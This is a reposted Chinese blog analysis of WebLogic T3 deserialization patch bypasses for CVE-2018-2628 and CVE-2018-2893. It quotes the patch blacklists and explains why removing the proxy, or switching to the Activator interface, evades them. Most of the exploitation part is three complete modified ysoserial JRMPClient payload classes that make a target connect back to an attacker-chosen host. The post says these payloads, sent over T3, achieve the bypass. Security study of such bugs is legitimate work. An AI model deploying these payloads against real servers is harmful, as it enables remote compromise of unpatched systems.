Java 安全之Weblogic 2018-2628&2018-2893分析
内容导读
互联网集市收集整理的这篇技术教程文章主要介绍了Java 安全之Weblogic 2018-2628&2018-2893分析，小编现在分享给大家，供广大互联网技能从业者学习和参考。文章包含7427字，纯文字阅读大概需要11分钟。
内容图文
Java 安全之Weblogic 2018-2628&2018-2893分析
0x00 前言
续上一个weblogic T3协议的反序列化漏洞接着分析该补丁的绕过方式，根据weblogic的补丁还是挺难找的，后面的分析中没有补丁看不到weblogic修复的细节，但是也不难猜处weblogic的这些修复都是老做法，使用黑名单的方式去进行修补漏洞。
0x01 补丁分析
由于没拿到补丁，这里从廖师傅文章里面扣除补丁的细节。
protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
String[] arr$ = interfaces;
int len$ = interfaces.length;
for(int i$ = 0; i$ < len$; ++i$) {
String intf = arr$[i$];
if(intf.equals("java.rmi.registry.Registry")) {
throw new InvalidObjectException("Unauthorized proxy deserialization");
}
}
return super.resolveProxyClass(interfaces);
}
weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream类的地方添加了一个resolveProxyClass方法，将resolveProxyClass给重写了，添加了一个传递过来的数据对应的接口进行遍历验证，如果为java.rmi.registry.Registry的话就直接抛出异常。如果不为java.rmi.registry.Registry就调用父类的resolveProxyClass。
0x02 绕过思路
在2018-2628的绕过方式其实有两种，分别是：
- 在补丁里面仅仅只是限制了需要反序列化的数据为
使用java.rmi.registry.Registry以外的类的接口，但是其实远程对象的接口不止java.rmi.registry.Registry这么一个。
廖师傅这里提供的绕过方式是将该接口替换成java.rmi.activation.Activator。即可绕过。
- ysoserial修改把Proxy部分去除掉，即可绕过补丁。这里来思考一下为什么Proxy部分去除就可以绕过了呢？
在前面的原生readobject分析文章里面讲到过readobject里面会走两个分支，反序列化的是动态代理的对象的话就会走resolveProxyClass分支里面，这里去除了Proxy部分内容，也就是说不使用动态代理的方式生成payload进行反序列化自然不会走到resolveProxyClass分支里面去。
0x03 利用思路
后面的调试内容，其实和前面的都是一样的，这里直接讲讲利用。
改写ysoserial
利用思路一,不使用代理对象：
package ysoserial.payloads;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.util.Random;
public class JRMPClient1 extends PayloadRunner implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if (sep < 0) {
port = new Random().nextInt(65535);
host = command;
} else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
return ref;
}
public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient1.class.getClassLoader());
PayloadRunner.run(JRMPClient1.class, args);
}
}
对JRMPClient做一个小小的改动。
利用方式二，修改实现的远程接口为java.rmi.activation.Activator：
package ysoserial.payloads;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import java.lang.reflect.Proxy;
import java.rmi.activation.Activator;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient2 extends PayloadRunner implements ObjectPayload<Activator> {
public Activator getObject (final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] {
Activator.class
}, obj);
return proxy;
}
public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader());
PayloadRunner.run(JRMPClient2.class, args);
}
}
0x04 CVE-2018-2893
CVE-2018-2893是CVE2018-2628的绕过，先来查看一下CVE-2018-2628的补丁细节
private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef"};
改写ysoserial
这里利用方式是将远程的gadget对象封装进streamMessageImpl类里面，和CVE-2016-0638一样，不过这里用的是JRMPClient的gadget。
在改写的时候需要，注意几个细节。JDK里面没有streamMessageImpl类，这里需要讲weblogic的一些依赖jar包和类的代码给复制过来。这里是讲weblogic_cmd里面的部分内容扣出来放到了yso里面。
package ysoserial.payloads;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import weblogic.jms.common.StreamMessageImpl;
import ysoserial.Serializer;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Object> {
public Object streamMessageImpl(byte[] object) {
StreamMessageImpl streamMessage = new StreamMessageImpl();
streamMessage.setDataBuffer(object, object.length);
return streamMessage;
}
public Object getObject (final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if (sep < 0) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID objID = new ObjID(new Random().nextInt());
TCPEndpoint tcpEndpoint = new TCPEndpoint(host, port);
UnicastRef unicastRef = new UnicastRef(new LiveRef(objID, tcpEndpoint, false));
RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(unicastRef);
Object object = Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { Registry.class }, remoteObjectInvocationHandler);
return streamMessageImpl(Serializer.serialize(object));
}
public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader());
PayloadRunner.run(JRMPClient3.class, args);
}
}
参考文章
weblogic之CVE-2017-3248，CVE-2018-2628,CVE-2018-2893，CVE-2018-3245反序列绕过分析
0x05 末尾的絮絮叨叨
其实知道绕过方式和利用方式后，从yso进行一个修改打包成jar包，使用到上次2017-3248的时候用到的exp修改参数，通过T3协议发送payload过去就可以实现绕过了。和前面的内容都是一样的都是同一个漏洞，所以在这里不做多的赘述。
内容总结
以上是互联网集市为您收集整理的Java 安全之Weblogic 2018-2628&2018-2893分析全部内容，希望文章能够帮你解决Java 安全之Weblogic 2018-2628&2018-2893分析所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错，欢迎将互联网集市网站推荐给程序员好友。
内容备注
版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 gblab@vip.qq.com 举报，一经查实，本站将立刻删除。
内容手机端
扫描二维码推送至手机访问。